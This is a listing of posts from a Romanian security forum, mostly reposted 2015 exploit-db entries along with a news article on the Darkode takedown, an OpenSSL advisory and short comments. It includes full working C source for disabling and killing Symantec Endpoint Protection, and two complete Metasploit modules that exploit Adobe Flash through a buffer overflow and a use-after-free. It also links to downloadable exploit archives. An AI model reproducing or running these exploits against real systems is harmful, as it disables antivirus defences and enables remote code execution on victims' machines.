  8. [h=1]Microsoft Word Local Machine Zone Remote Code Execution Vulnerability[/h] Exploit Title: Microsoft Word Local Machine Zone Remote Code Execution Vulnerability Date: July 15th, 2015 Exploit Author: Eduardo Braun Prado Vendor Homepage : Microsoft – Pagina de pornire oficial? Version: 2007 Tested on: Microsoft Windows XP, 2003, Vista, 2008, 7, 8, 8.1 CVE: CVE-2015-0097 Original Advisory: https://technet.microsoft.com/library/security/ms15-022 Microsoft Word, Excel and Powerpoint 2007 contains a remote code execution vulnerability because it is possible to reference documents such as Works document (.wps) as HTML. It will process HTML and script code in the context of the local machine zone of Internet Explorer which leads to arbitrary code execution. By persuading users into opening eg. specially crafted .WPS, ".doc ", ".RTF " (with a space at the end) it is possible to triggerthe vulnerability and run arbitrary code in the context of the logged on Windows user. Exploit code here : https://onedrive.live.com/embed?cid=412A36B6D0A9436A&resid=412A36B6D0A9436A%21156&authkey=AA_JVoZcoM5kvOc https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37657.zip Sursa: https://www.exploit-db.com/exploits/37657/
  9. Eu unul nu stiu cine esti, ce ai facut si de ce ar vrea cineva IP-urile tale.
  10. Malware And Hacking Forum Darkode Is Shut Down; Dozens Arrested The Darkode malware forum was replaced by an image announcing its seizure by authorities Wednesday. Justice Department Announcing an international takedown of a malware marketplace, federal officials say that the forum called Darkode has been dismantled and dozens of its members have been arrested. Darkode has been a marketplace to purchase and trade hacking tools since at least 2008. Investigators say that while the forum's existence was widely known, they hadn't been able to penetrate it until recently. Darkode operated under password protections and required referrals to join. On Wednesday, the site consisted of an image saying that it had been seized by authorities. Announcing the crackdown Wednesday, the FBI and other officials say that it includes arrests in 20 countries and indictments for 70 individuals, including 12 in the U.S., from Wisconsin to Louisiana. "The FBI has effectively smashed the hornets' nest," said U.S. Attorney David J. Hickton, "and we are in the process of rounding up and charging the hornets." Hickton called Darkode one of the greatest threats to online security, mentioning one forum member who put up software (for a price of $65,000) that can take over cellphones. In another case, he said, a user offered the ability to steal and sell lists of friends on Facebook. And the marketplace was sophisticated enough, Hickton said, that members could either "subscribe" to such hacking tools or buy them outright. Those indicted include Johan Anders Gudmunds, identified by federal documents as an administrator of Darkode who created a large botnet of hacked computers that stole private information "on approximately 200,000,000 occasions." John Lynch, chief of the criminal division's Computer Crime and Intellectual Property Section, called Darkode "a self-contained market" with sophisticated relationships in which participants used their connections to maximize the amount of money and damage they could extract. The arrests come after a two-year FBI undercover operation that infiltrated the forum, said FBI Special Agent in Charge Scott S. Smith. Wednesday's announcement reflects work in countries that range from Brazil and Costa Rica to Latvia and Macedonia, the Justice Department says. The Pittsburgh Post-Gazette explains how the investigation started: "Following a lead generated in Pittsburgh around 18 months ago, the FBI cybersquad here launched Operation Shrouded Horizon. The bureau's local office assembled a coalition that started domestically with the bureau's offices in Washington, D.C., San Diego, New Orleans and San Francisco, and extended to online enforcement teams in 20 countries, including numerous European countries, Israel, Australia, Colombia, Brazil and Nigeria." Federal officials say the investigation into Darkode is continuing. Here are the defendants who are facing charges in the U.S., from the Justice Department news release: Johan Anders Gudmunds, aka Mafi aka Crim aka Synthet!c, 27, of Sollebrunn, Sweden, is charged by indictment with conspiracy to commit computer fraud, conspiracy to commit wire fraud, and conspiracy to commit money laundering. He is accused of serving as the administrator of Darkode, and creating and selling malware that allowed hackers to create botnets. Gudmunds also allegedly operated his own botnet, which at times consisted of more than 50,000 computers, and used his botnet to steal data from the users of those computers on approximately 200,000,000 occasions. Morgan C. Culbertson, aka Android, 20, of Pittsburgh, is charged by criminal information with conspiring to send malicious code. He is accused of designing Dendroid, a coded malware intended to remotely access, control, and steal data from Google Android cellphones. The malware was allegedly offered for sale on Darkode. Eric L. Crocker, aka Phastman, 39, of Binghamton, N.Y., is charged by criminal information with sending spam. He is accused of being involved in a scheme involving the use of a Facebook Spreader that infected Facebook users' computers, turning them into bots that Crocker controlled through the use of command and control servers. Crocker sold the use of this botnet to others for the purpose of sending out massive amounts of spam. Naveed Ahmed, aka Nav aka semaph0re, 27, of Tampa, Fla.; Phillip R. Fleitz, aka Strife, 31, of Indianapolis; and Dewayne Watts, aka m3t4lh34d aka metal, 28, of Hernando, Fla., are each charged by criminal information with conspiring to send spam. They are accused of participating in a sophisticated scheme to maintain a spam botnet that utilized bulletproof servers in China to exploit vulnerable routers in third world countries, and that sent millions of electronic mail messages designed to defeat the spam filters of cellular phone providers. Murtaza Saifuddin, aka rzor, 29, of Karachi, Sindh, Pakistan, is charged in an indictment with identity theft. Saifuddin is accused of attempting to transfer credit card numbers to others on Darkode. Daniel Placek, aka Nocen aka Loki aka Juggernaut aka M1rr0r, 27, of Glendale, Wis., is charged by criminal information with conspiracy to commit computer fraud. He is accused of creating the Darkode forum, and selling malware on Darkode designed to surreptitiously intercept and collect email addresses and passwords from network communications. Matjaz Skorjanc, aka iserdo aka serdo, 28, of Maribor, Slovenia; Florencio Carro Ruiz, aka NeTK aka Netkairo, 36, of Vizcaya, Spain; and Mentor Leniqi, aka Iceman, 34, of Gurisnica, Slovenia, are each charged in a criminal complaint with racketeering conspiracy; conspiracy to commit wire fraud and bank fraud; conspiracy to commit computer fraud, access device fraud, and extortion; and substantive computer fraud. Skorjanc also is accused of conspiring to organize the Darkode forum and of selling malware known as the ButterFly bot. Rory Stephen Guidry, aka k@exploit.im, of Opelousas, La., is charged with computer fraud. He is accused of selling botnets on Darkode. In a related case, Aleksandr Andreevich Panin, aka Gribodemon, 26, of Tver, Russia; and Hamza Bendelladj, aka Bx1, 27, of Tizi Ouzou, Algeria, pleaded guilty on Jan. 28, 2014, and June 26, 2015, respectively, in the Northern District of Georgia in connection with developing, distributing and controlling SpyEye, a malicious banking trojan designed to steal unsuspecting victims' financial and personally identifiable information. Bendelladj and Panin advertised SpyEye to other members on Darkode. One of the servers used by Bendelladj to control SpyEye contained evidence of malware that was designed to steal information from approximately 253 unique financial institutions around the world. Panin and Bendelladj will be sentenced at a later date. Sursa: Malware And Hacking Forum Darkode Is Shut Down; Dozens Arrested : The Two-Way : NPR
  11. Asta pare sa fie singura "smecherie": system("\"C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection\\Smc.exe\" -disable -ntp");
  12. OpenSSL Security Advisory [9 Jul 2015]======================================= Alternative chains certificate forgery (CVE-2015-1793) ====================================================== Severity: High During certificate verification, OpenSSL (starting from version 1.0.1n and 1.0.2b) will attempt to find an alternative certificate chain if the first attempt to build such a chain fails. An error in the implementation of this logic can mean that an attacker could cause certain checks on untrusted certificates to be bypassed, such as the CA flag, enabling them to use a valid leaf certificate to act as a CA and "issue" an invalid certificate. This issue will impact any application that verifies certificates including SSL/TLS/DTLS clients and SSL/TLS/DTLS servers using client authentication. This issue affects OpenSSL versions 1.0.2c, 1.0.2b, 1.0.1n and 1.0.1o. OpenSSL 1.0.2b/1.0.2c users should upgrade to 1.0.2d OpenSSL 1.0.1n/1.0.1o users should upgrade to 1.0.1p This issue was reported to OpenSSL on 24th June 2015 by Adam Langley/David Benjamin (Google/BoringSSL). The fix was developed by the BoringSSL project. Note ==== As per our previous announcements and our Release Strategy (https://www.openssl.org/about/releasestrat.html), support for OpenSSL versions 1.0.0 and 0.9.8 will cease on 31st December 2015. No security updates for these releases will be provided after that date. Users of these releases are advised to upgrade. References ========== URL for this Security Advisory: https://www.openssl.org/news/secadv_20150709.txt Note: the online version of the advisory may be updated with additional details over time. For details of OpenSSL severity classifications please see: https://www.openssl.org/about/secpolicy.html Via: https://openssl.org/news/secadv_20150709.txt
  13. Mobile penetration testing on Android using Drozer July 8, 2015 Daniel Tomescu Mobile phones have become an indispensable part of our daily life. We use mobile phones to communicate with our loved ones, for quick access to information through the Internet, to make transactions through mobile banking apps or to relax reading a good book.In a way, a big part of our private life has moved into the digital environment. Mobile phones seem to be a pocket-sized treasure of secrets and information, hiding our most valuable photos, mails, contacts and even banking information. There’s no wonder why we need mobile phones to have bullet-proof security.Android is the most common operating system for mobile devices and is particularly interesting from the security point of view. It is very permissive, allowing its users to customize about anything, administrative privileges (a.k.a. rooting) can be unlocked on most phones, it has a very fuzzy system for the permissions required by applications and it features different ways for one application to interact with other applications.In this blog post, we are going to focus on how Android apps can interact with each other and how the security of those interactions can be tested. Articol complet: Mobile penetration testing on Android using Drozer – Security Café
  14. [h=1]Symantec Endpoint Protection 12.1.4013 Service Disabling Vulnerability[/h] # Exploit Title: Antivirus # Google Dork: intitle: Antivirus # Date: 2015-07-07 # Exploit Author: John Page ( hyp3rlinx ) # Website: hyp3rlinx.altervista.org # Vendor Homepage: www.symantec.com # Software Link: www.symantec.com/endpoint-protection # Version:12.1.4013 # Tested on: windows 7 SP1 # Category: Antivirus Vendor: ================================ Symantec ( www.symantec.com ) Product: ================================ Symantec EP 12.1.4013 Advisory Information: ================================================ Disabling Vulnerability Vulnerability Details: ===================== Symantec EP agent & services can be rendered useless even after globally locking down endpoint protection via a Symantec central management server and enabling globally managed password protection controls. Tested successfully on Windows 7 SP1 result may vary OS to OS. Exploit code(s): =============== #include <windows.h> #include <Tlhelp32.h> #define SMC_EXE "Smc.exe" #define SMC_GUI "SmcGui.exe" #define CC_SVC_HST "ccSvcHst.exe" /* By John Page (hyp3rlinx) - Dec 2014 - hyp3rlinx.altervista.org Symantec Endpoint Protection version 12.1.4013 First reported to Symantec - Jan 20, 2015 Goal: Kill Symantec EP agent & services after globally locking down endpoint protection via the Symantec central management server and enabling globally managed password protection controls. Tested successfully on Windows 7 SP1 result may vary OS to OS. Scenario: Run the from browser upon download or save to some directory and run Not the most elegant code and I don't care... */ void el_crookedio_crosso(const char *victimo){ HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); PROCESSENTRY32 pEntry; pEntry.dwSize=sizeof(pEntry); BOOL hRes=Process32First(hSnapShot,&pEntry); while(hRes){ if(strcmp(pEntry.szExeFile,victimo)==0){ HANDLE hProcess=OpenProcess(PROCESS_TERMINATE,0,(DWORD)pEntry.th32ProcessID); if (hProcess!=NULL){ TerminateProcess(hProcess,9); CloseHandle(hProcess); } } hRes=Process32Next(hSnapShot,&pEntry); } CloseHandle(hSnapShot); } DWORD exeo_de_pid(char *ghostofsin){ DWORD ret=0; PROCESSENTRY32 pe32={sizeof (PROCESSENTRY32)}; HANDLE hProcSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (hProcSnap==INVALID_HANDLE_VALUE) return 0; if (Process32First (hProcSnap,&pe32)) do if (!strcmp(pe32.szExeFile,ghostofsin)) { ret=pe32.th32ProcessID; break; } while (Process32Next (hProcSnap,&pe32)); CloseHandle (hProcSnap); return ret; } void angelo_maliciouso(){ int AV=exeo_de_pid(SMC_EXE); char id[8]; sprintf(id, "%d ", AV); printf("%s", id); char cmd[50]="Taskkill /F /PID "; strcat(cmd, id); system(cmd); // system("Taskkill /F /IM Smc.exe"); //Access denied. system("\"C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection\\Smc.exe\" -disable -ntp"); Sleep(1000); el_crookedio_crosso(SMC_EXE); el_crookedio_crosso(SMC_GUI); el_crookedio_crosso(CC_SVC_HST); } int main(void){ puts("/*-----------------------------------------------------------*/\n"); puts("| EXORCIST DE SYMANTEC Antivirus version 12.1.4013 |\n"); puts("| By hyp3rlinx - Jan 2015 |\n"); puts("/*------------------------------------------------------------*/\n"); SetDebugPrivileges(); angelo_maliciouso(); Sleep(1000); el_crookedio_crosso(SMC_EXE); el_crookedio_crosso(SMC_GUI); el_crookedio_crosso(CC_SVC_HST); Sleep(2000); angelo_maliciouso(); Sleep(6000); return 0; } int SetDebugPrivileges(){ DWORD err=0; TOKEN_PRIVILEGES Debug_Privileges; if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&Debug_Privileges.Privileges[0].Luid))return GetLastError(); HANDLE hToken=0; if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){ err=GetLastError(); if(hToken)CloseHandle(hToken); return err; } Debug_Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; Debug_Privileges.PrivilegeCount=1; if(!AdjustTokenPrivileges(hToken,FALSE,&Debug_Privileges,0,NULL,NULL)){ err=GetLastError(); if(hToken) CloseHandle(hToken); } return err; } Disclosure Timeline: ========================================================= Vendor Notification: Jan 20, 2015 July 7, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ================================================================== Request Method(s): [+] Click Vulnerable Product: [+] Symantec Endpoint Protection version 12.1.4013 Vulnerable Parameter(s): [+] N/A Affected Area(s): [+] Smc.exe, SmcGui.exe & ccSvcHst.exe ====================================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx) Sursa: https://www.exploit-db.com/exploits/37525/
  15. [h=1]Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow[/h] ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser encoded audio inside a FLV video, as exploited in the wild on June 2015. This module has been tested successfully on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160, Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160, Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466. Note that this exploit is effective against both CVE-2015-3113 and the earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression to the same root cause as CVE-2015-3043. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-3043'], ['CVE', '2015-3113'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'], ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'], ['URL', 'http://bobao.360.cn/learning/detail/357.html'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win', 'linux'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF when 'Linux' return true if ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161') return true if ver =~ /^17\./ && Gem::Version.new(ver) != Gem::Version.new('17.0.0.169') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') && Gem::Version.new(ver) != Gem::Version.new('11.2.202.457') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jun 23 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' elsif target.name =~ /Linux/ platform_id = 'linux' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end def create_flv header = '' header << 'FLV' # signature header << [1].pack('C') # version header << [4].pack('C') # Flags: TypeFlagsAudio header << [9].pack('N') # DataOffset data = '' data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0 data << "\xee" * 0x440 # SoundData tag1 = '' tag1 << [8].pack('C') # TagType (audio) tag1 << "\x00\x04\x41" # DataSize tag1 << "\x00\x00\x1a" # TimeStamp tag1 << [0].pack('C') # TimeStampExtended tag1 << "\x00\x00\x00" # StreamID, always 0 tag1 << data body = '' body << [0].pack('N') # PreviousTagSize body << tag1 body << [0xeeeeeeee].pack('N') # PreviousTagSize flv = '' flv << header flv << body flv end end Sursa: https://www.exploit-db.com/exploits/37536/
  16. [h=1]Adobe Flash Player ByteArray Use After Free[/h] ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player ByteArray Use After Free', 'Description' => %q{ This module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public on its July 2015 data leak, was described as an Use After Free while handling ByteArray objects. This module has been tested successfully on: Windows XP, Chrome 43 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Someone from HackingTeam 'juan vazquez' # msf module ], 'References' => [ ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'], ['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win', 'linux'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 || os =~ OperatingSystems::Match::WINDOWS_VISTA || os =~ OperatingSystems::Match::WINDOWS_XP end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::CHROME when 'Linux' return true if ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' # Note: Chrome might be vague about the version. # Instead of 18.0.0.203, it just says 18.0 return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 06 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' elsif target.name =~ /Linux/ platform_id = 'linux' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'hacking_team', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Sursa: https://www.exploit-db.com/exploits/37523/
  17. Am vazut si descrierea si video, doar ca nu am vazut ceva prea util legat de Shellter. Adica "Auto", exe si payload -> 1 minut. Restul videoclipului sunt alte lucruri, nu am vazut AV, nu am vazut scan...
  18. Deci despre ce vrea sa fie acest videoclip? Dynamic shellcode injection? Nu am prins ideea.
  19. https://github.com/f47h3r/hackingteam_exploits
  20. Ideea cu site-ul e foarte ok si poate sa iasa foarte frumos, dar sa nu o dati in SF-uri...
  21. Acum e ok?
  22. Inca se cauta, cine e interesat imi poate da un PM.
  23. This looks nice: EMET 5.2 - Exploit Development Community
  24. Ai folosit protocoale vechi de 40 de ani ca sa spui asta. Ex. .:: Phrack Magazine ::.
×
×
  • Create New...